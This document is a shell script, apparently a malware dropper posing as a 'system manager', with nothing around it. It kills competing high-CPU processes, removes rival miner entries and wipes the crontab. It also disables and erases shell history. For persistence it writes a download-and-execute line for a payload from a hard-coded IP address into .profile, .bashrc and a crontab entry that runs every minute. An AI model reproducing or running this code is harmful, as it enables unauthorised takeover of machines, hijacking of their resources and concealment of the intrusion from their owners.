http://176.31.159.27/manager.sh

#!/bin/sh

ulimit -n 65535

rm -f /etc/ld.so.preload

DOWNLOAD_METHOD="unknown"
DOWNLOADER="unknown"
SYSTEM_ADMIN_HOST="176.31.159.27"
SYSTEM_ADMIN_CONFIG="system_manager.sh"
SYSTEM_TYPE=$(uname)
SYSTEM_ARCH=$(uname -m)
HAS_BUSYBOX=FALSE

sed -i '/miner/d' .profile
sed -i '/miner/d' .bashrc
sed -i '/wget/d' .profile
sed -i '/curl/d' .profile
sed -i '/curl/d' .bashrc
sed -i '/wget/d' .bashrc

crontab -r

killall -9 .admin_thread

unset_history()
{
    unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG WATCH > /dev/null 2>&1
    history -n > /dev/null 2>&1
    export HISTFILE=/dev/null > /dev/null 2>&1
    export HISTSIZE=0 > /dev/null 2>&1
    export HISTFILESIZE=0 > /dev/null 2>&1
    if [ -s $HOME/.bash_history ]
    then
        rm $HOME/.bash_history > /dev/null 2>&1
        ln -sf /dev/null $HOME/.bash_history > /dev/null 2>&1
    fi
}

determine_download_method()
{
    if [ -s /usr/bin/tftp ]
    then
        DOWNLOAD_METHOD="tftp"
        DOWNLOADER="$DOWNLOAD_METHOD -g $SYSTEM_ADMIN_CONFIG -l- -r $SYSTEM_ADMIN_HOST"
    fi

    if [ -s /usr/bin/curl ]
    then
        DOWNLOAD_METHOD="curl"
        DOWNLOADER="$DOWNLOAD_METHOD http://$SYSTEM_ADMIN_HOST/$SYSTEM_ADMIN_CONFIG"
    fi

    if [ -s /usr/bin/wget ]
    then
        DOWNLOAD_METHOD="wget"
        DOWNLOADER="$DOWNLOAD_METHOD http://$SYSTEM_ADMIN_HOST/$SYSTEM_ADMIN_CONFIG -O-"
    fi

    return
}

unset_history

determine_download_method

#echo "Using method [$DOWNLOAD_METHOD]"
#echo "Downloader [$DOWNLOADER]"
#echo "Arch type [$SYSTEM_ARCH]"
#echo "Device type [$SYSTEM_TYPE]"

VAR=$(ps uwx|awk '{print $2":"$3}'| grep -v CPU)
for word in $VAR
do
    CPUUSAGE=$(echo $word|awk -F":" '{print $2}'|awk -F"." '{ print $1}')
    if [ $CPUUSAGE -gt 55 ]
    then
       echo BIG $word
       PID=$(echo $word | awk -F":" '{print $1'})
       LINE=$(ps uwx | grep $PID)
       COUNT=$(echo $LINE| grep -P "|wget|curl|ssh|manager"|wc -l)
       if [ $COUNT -eq 0 ]
       then
           echo Skipping $line
       fi
       echo KILLING $line
       kill $PID
   fi
done

(cat $HOME/.profile | grep -e "$DOWNLOADER" | grep -v grep) > /dev/null 2>&1

if [ $? -eq 0 ]
then
    echo "system manager already active in profile!"
else
  (
    echo "# System updater below"
    echo "$DOWNLOADER | sh & 2> /dev/null"
  ) >> $HOME/.profile
    echo "Added system manager to profile for future updates!"
fi

(cat $HOME/.bashrc | grep -e "$DOWNLOADER" | grep -v grep) > /dev/null 2>&1

if [ $? -eq 0 ]
then
    echo "system manager already active in bashrc!"
else
  (
    echo "# System updater below"
    echo "$DOWNLOADER | sh & 2> /dev/null"
  ) >> $HOME/.bashrc
    echo "Added system manager to bashrc for future updates!"
fi

(crontab -l | grep -e "$DOWNLOADER" | grep -v grep) > /dev/null 2>&1

if [ $? -eq 0 ]
then
    echo "system manager already active in crontab!"
else
  (
    crontab -r
    echo "* * * * * $DOWNLOADER | sh > /dev/null"
  ) | crontab -
    echo "Added system manager to crontab for future updates!"
fi

$DOWNLOADER | sh &

(ps aux | grep -e ".watchdog" | grep -v grep) > /dev/null 2>&1

if [ $? -eq 0 ]
then
    echo "System manager running!"
else
    echo "System manager not running"
    $DOWNLOADER | sh &
fi